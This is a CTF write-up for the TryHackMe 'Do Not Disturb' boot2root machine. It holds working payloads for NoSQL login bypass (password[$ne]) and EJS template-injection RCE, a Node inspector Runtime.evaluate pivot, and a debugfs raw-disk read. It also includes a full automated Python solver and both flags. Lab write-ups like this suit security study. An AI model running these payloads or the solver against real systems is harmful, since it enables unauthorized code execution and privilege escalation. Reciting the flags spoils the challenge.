Do Not Disturb — Boot2Root Writeup (How to Solve)
| Field | Value |
|---|---|
| Target | http://MACHINE_IP |
| Platform | TryHackMe — Hacker Holidays · The Byte Lotus Hotel |
| Category | Boot2Root · Web |
| Difficulty | Medium |
| User flag | THM{w4rm_s3ss10n_h1j4ck3d} |
| Root flag | THM{r4w_d1sk_4cc3ss_w4s_t00_much} |
Skill path: NoSQL injection → EJS template injection (RCE) → Node inspector (debugger) pivot → Linux disk group raw-block read.
Attack Chain
GET / (login form)
│
│ username=attendant & password[$ne]=__never__ NoSQL operator injection
▼
role=staff session → GET /staff (Cabana Desk)
│
▼
POST /staff/preview template=<%= ...execSync('cmd') %> EJS template injection
│
▼
RCE as poolside → /home/poolside/user.txt USER FLAG
│
▼
node --inspect=127.0.0.1:9229 (lotus-telemetry.service) debugger Remote.evaluate
│
▼
RCE as pipelinesvc (groups: pipelinesvc, disk)
│
▼
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 raw disk read
│
▼
ROOT FLAG
Step-by-Step (manual reproduction)
Step 1 — Recon
nmap -sV -sC MACHINE_IP
| Port | Service |
|---|---|
| 22 | SSH (OpenSSH 9.6p1, publickey only) |
| 80 | HTTP — Express "Byte Lotus Poolside" portal |
Routes found: GET / (login form), POST /login, GET /logout, GET /staff (403).
Step 2 — Weak default credentials
Brute the login with a top-10k password list on likely usernames (guest, attendant, ...):
guest:sunshine → valid login, but role=guest → /staff still 403
App source (leaked later via the RCE) explains why brute-forcing the staff
account is pointless:
// /opt/poolside/app.js
const db = new Datastore(); // @seald-io/nedb (MongoDB-style)
await db.insertAsync([
{ username: 'guest', password: 'sunshine', role: 'guest' },
{ username: 'attendant',
password: crypto.randomBytes(18).toString('hex'), role: 'staff' },
]);
...
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.findOneAsync({ username, password });
...
});
The attendant password is random hex — never brute-force it. Attack the
query itself instead.
Step 3 — NoSQL injection → staff login bypass
express.urlencoded({ extended: true }) parses password[$ne]=x into the
nested object { password: { $ne: 'x' } }, so the lookup becomes:
db.findOneAsync({ username: 'attendant', password: { $ne: '__never__' } })
$ne matches anything except the given value → returns the attendant.
curl -i -X POST http://MACHINE_IP/login \
-d 'username=attendant&password[$ne]=__never__'
Response: 302 with a session cookie → now
curl -b <cookie> http://MACHINE_IP/staff # 200 — Cabana Desk
Step 4 — EJS template injection → RCE (poolside)
The Cabana Desk has a confirmation template preview: POST /staff/preview
with a template field that is rendered with ejs.render() — an EJS SSTI:
curl -b <cookie> -X POST http://MACHINE_IP/staff/preview \
-d "template=<%= global.process.mainModule.require('child_process').execSync('id').toString() %>"
uid=996(poolside) gid=996(poolside) groups=996(poolside)
Full command execution as the poolside service account. From here:
# user flag
cat /home/poolside/user.txt
THM{w4rm_s3ss10n_h1j4ck3d}
Note: commands containing
>or2>&1breakexecSync's shell — keep
payloads redirect-free or split them.
Step 5 — Lateral move: Node inspector → pipelinesvc
Read the service units via the EJS RCE (/etc/systemd/system/lotus-telemetry.service):
[Service]
User=pipelinesvc
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/telemetry/processor.js
The telemetry processor is a Node.js debugger endpoint bound to localhost:
- The debugger protocol accepts arbitrary
Runtime.evaluateover a WebSocket — i.e. remote code execution in thepipelinesvcprocess.
The exploit (as done by solve_dnd.py):
- GET
http://127.0.0.1:9229/json/list→webSocketDebuggerUrl - WebSocket handshake to that URL (masked frames)
- Send
Runtime.evaluatewith expression:
(()=>{try{return process.mainModule.require('child_process')
.execSync('id',{encoding:'utf8',shell:'/bin/bash'}).toString()}
catch(e){return 'ERR: '+(e.stderr||'')+(e.stdout||'')}})()
Result:
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
pipelinesvc is in the disk group — the gateway to root.
Step 6 — Root flag: raw block-device read (group disk)
ls -l /dev/nvme0n1p1
brw-rw---- 1 root disk 259,1 ... /dev/nvme0n1p1
Group disk can read the raw device (the ext4 root partition). No sudo, no
kernel exploit — just read the filesystem out of the block device with
debugfs:
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
Fully automated solver
python solve_dnd.py http://MACHINE_IP
"""
Do Not Disturb (Byte Lotus Hotel) - FULLY AUTOMATIC SOLVER
Gets BOTH flags with zero manual steps.
Target: http://10.49.182.223
Chain:
1. NoSQL injection on /login -> log in as 'attendant' (password[$ne]=zzz)
2. EJS template injection /staff/preview -> RCE as 'poolside'
3. cat /home/poolside/user.txt -> USER FLAG (as poolside)
4. Node inspector 127.0.0.1:9229 -> RCE as 'pipelinesvc' (group disk)
5. debugfs -R "cat /root/root.txt" /dev/nvme0n1p1 -> ROOT FLAG
Usage: python solve_dnd.py [http://IP]
"""
import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import base64
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.182.223").rstrip("/")
TIMEOUT = 25
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
FLAG_RE = re.compile(r"THM\{[^}]+\}")
# Node client uploaded to /tmp/.i.js: connects to the 127.0.0.1:9229 debugger,
# evaluates a command inside the pipelinesvc-owned process via Runtime.evaluate.
NODE_SCRIPT = r"""
const http = require('http');
const crypto = require('crypto');
const fs = require('fs');
let CMD = process.argv[2] || '';
if (!CMD) { try { CMD = fs.readFileSync('/tmp/.c.txt','utf8').trim(); } catch(e) {} }
http.get('http://127.0.0.1:9229/json/list', (res) => {
let d = '';
res.on('data', c => d += c);
res.on('end', () => {
let list = []; try { list = JSON.parse(d); } catch(e) {}
if (!list.length) { console.log('NO_TARGETS'); process.exit(0); }
const path = list[0].webSocketDebuggerUrl.replace(/^ws:\/\/[^/]+/, '');
const net = require('net');
const key = crypto.randomBytes(16).toString('base64');
const sock = net.connect(9229, '127.0.0.1', () => {
sock.write(`GET ${path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`);
});
let buf = Buffer.alloc(0), booted = false;
sock.on('data', chunk => {
buf = Buffer.concat([buf, chunk]);
const hs = buf.indexOf('\r\n\r\n');
if (!booted && hs !== -1) {
booted = true;
buf = buf.slice(hs + 4);
const expr = `(()=>{try{return process.mainModule.require('child_process').execSync(${JSON.stringify('CMD_HOLE')},{encoding:'utf8',stdio:['ignore','pipe','pipe'],shell:'/bin/bash'}).toString()}catch(e){return 'ERR: '+(e.stderr?e.stderr.toString():'')}} )()`;
const msg = JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: expr, returnByValue: true } });
sendFrame(sock, msg);
}
let f = parseFrame(buf);
while (f) {
if (f.opcode === 1) {
const t = f.payload.toString();
try {
const j = JSON.parse(t);
if (j.id === 1 && j.result) {
const v = j.result.result;
console.log('OUT:', (v && v.value !== undefined) ? v.value : JSON.stringify(v));
process.exit(0);
}
} catch(e) {}
}
buf = f.rest;
f = parseFrame(buf);
}
});
sock.on('error', e => console.log('SOCKERR', e.message));
});
});
function parseFrame(b){
if (b.length < 2) return null;
let off = 2;
const opcode = b[0] & 0x0f;
let len = b[1] & 0x7f;
if (len === 126) { if (b.length < 4) return null; len = b.readUInt16BE(2); off = 4; }
else if (len === 127) { if (b.length < 10) return null; len = Number(b.readBigUInt64BE(2)); off = 10; }
return { opcode, payload: b.slice(off), rest: b.slice(off) };
}
function sendFrame(sock, payload){
const data = Buffer.from(payload);
const mask = crypto.randomBytes(4);
let header;
if (data.length < 126) header = Buffer.from([0x81, 0x80 | data.length]);
else { header = Buffer.alloc(4); header[0] = 0x81; header[1] = 0x80 | 126; header.writeUInt16BE(data.length, 2); }
const masked = Buffer.alloc(data.length);
for (let i = 0; i < data.length; i++) masked[i] = data[i] ^ mask[i % 4];
sock.write(Buffer.concat([header, mask, masked]));
}
"""
NODE_SCRIPT = NODE_SCRIPT.replace("'CMD_HOLE'", "CMD || fs.readFileSync('/tmp/.c.txt','utf8').trim()")
def http_req(path, data=None, headers=None):
req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
return opener.open(req, timeout=TIMEOUT).read().decode(errors="replace")
# ---- Step 1: NoSQL injection -> staff session ----
def login_staff():
opener.open(urllib.request.Request(
TARGET + "/login",
data=b"username=attendant&password[$ne]=__never__"), timeout=TIMEOUT)
print("[+] Logged in as 'attendant' via NoSQL auth bypass (password[$ne]=zz_never)")
# ---- Steps 2-3: EJS template injection (RCE as poolside) ----
def ejs(cmd):
tpl = "<%= global.process.mainModule.require('child_process').execSync('" + cmd + "').toString() %>"
body = urllib.parse.urlencode({"template": tpl}).encode()
resp = http_req("/staff/preview", data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"})
m = re.search(r"<label[^>]*>Preview</label><pre>(.*?)</pre>", resp, re.S)
if m:
return htmllib.unescape(m.group(1))
ms = re.findall(r"<pre>(.*?)</pre>", resp, re.S)
return htmllib.unescape(ms[-1]) if ms else resp
# ---- Step 4: Node inspector pivot -> RCE as pipelinesvc ----
def node_inspect(cmd):
b64js = base64.b64encode(NODE_SCRIPT.encode()).decode()
b64cmd = base64.b64encode(cmd.encode()).decode()
shell = f"echo {b64js} | base64 -d > /tmp/.i.js; echo {b64cmd} | base64 -d > /tmp/.c.txt; node /tmp/.i.js"
return ejs(shell)
def main():
print(f"[+] Targeting {TARGET}")
print("[+] Step 1: NoSQL auth bypass -> staff")
login_staff()
print("[+] Step 2: EJS RCE check")
out = ejs("id")
print(" ", out.strip().replace("\n", " "))
if "poolside" not in out:
print("[-] EJS RCE failed, aborting"); return 1
print("[+] Step 3: user flag")
user_flag = ejs("cat /home/poolside/user.txt").strip()
print("[+] USER FLAG:", user_flag)
print("[+] Step 4: Node inspector pivot -> pipelinesvc")
out = node_inspect("id")
print(" ", out.strip().replace("\n", " "))
if "pipelinesvc" not in out:
print("[-] inspector pivot failed, aborting"); return 1
print("[+] Step 5: raw disk read via debugfs -> root flag")
out = node_inspect("debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1")
m = FLAG_RE.search(out)
root_flag = m.group(0) if m else "(not found)"
print("[+] ROOT FLAG:", root_flag)
print()
print("=" * 44)
print(" USER FLAG :", user_flag or "(MISSING)")
print(" ROOT FLAG :", root_flag)
print("=" * 44)
ok = bool(user_flag.count("THM{") and root_flag.count("THM{"))
print(("[+] SUCCESS - both flags captured" if ok else
"[-] flags incomplete - check manually"))
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
It performs every step above automatically: NoSQL login → EJS RCE → user flag
→ inspector pivot → debugfs extraction → prints both flags and exits 0 only
if both THM{...} flags were captured.
[+] Step 1: NoSQL auth bypass -> staff
[+] Step 2: EJS RCE check uid=996(poolside) ...
[+] Step 3: user flag THM{w4rm_s3ss10n_h1j4ck3d}
[+] Step 4: Node inspector pivot uid=995(pipelinesvc) ... groups=...,6(disk)
[+] Step 5: debugfs raw disk read THM{r4w_d1sk_4cc3ss_w4s_t00_much}
[+] SUCCESS - both flags captured
Vulnerabilities (recap)
-
NoSQL injection in
/login—password[$ne]auth bypass to staff role. -
EJS template injection in
/staff/preview— RCE aspoolside. -
Node inspector exposed (
--inspect=127.0.0.1:9229) — arbitrary eval aspipelinesvc(debugger endpoint running in a long-lived service). -
diskgroup membership — raw block-device read → any file on disk, including/root/root.txt.
Mitigations
| Issue | Fix |
|---|---|
| NoSQL injection | Validate/whitelist inputs; never pass user-supplied operator objects to queries |
| EJS injection | Never ejs.render() user input; use a strict template engine with an allowlist |
| Node inspector | Never ship --inspect in production; bind to 127.0.0.1 and firewall port 9229 |
| disk group | Remove service accounts from the disk group (least privilege) |
Tools Used
-
nmap,curl, Pythonurllib+ cookie jars — recon & HTTP - NedB operator injection (
password[$ne]) — auth bypass - EJS
child_process.execSync— server-side template RCE - Hand-rolled WebSocket client — Node inspector
Runtime.evaluate -
debugfs— ext4 raw filesystem extraction

Top comments (0)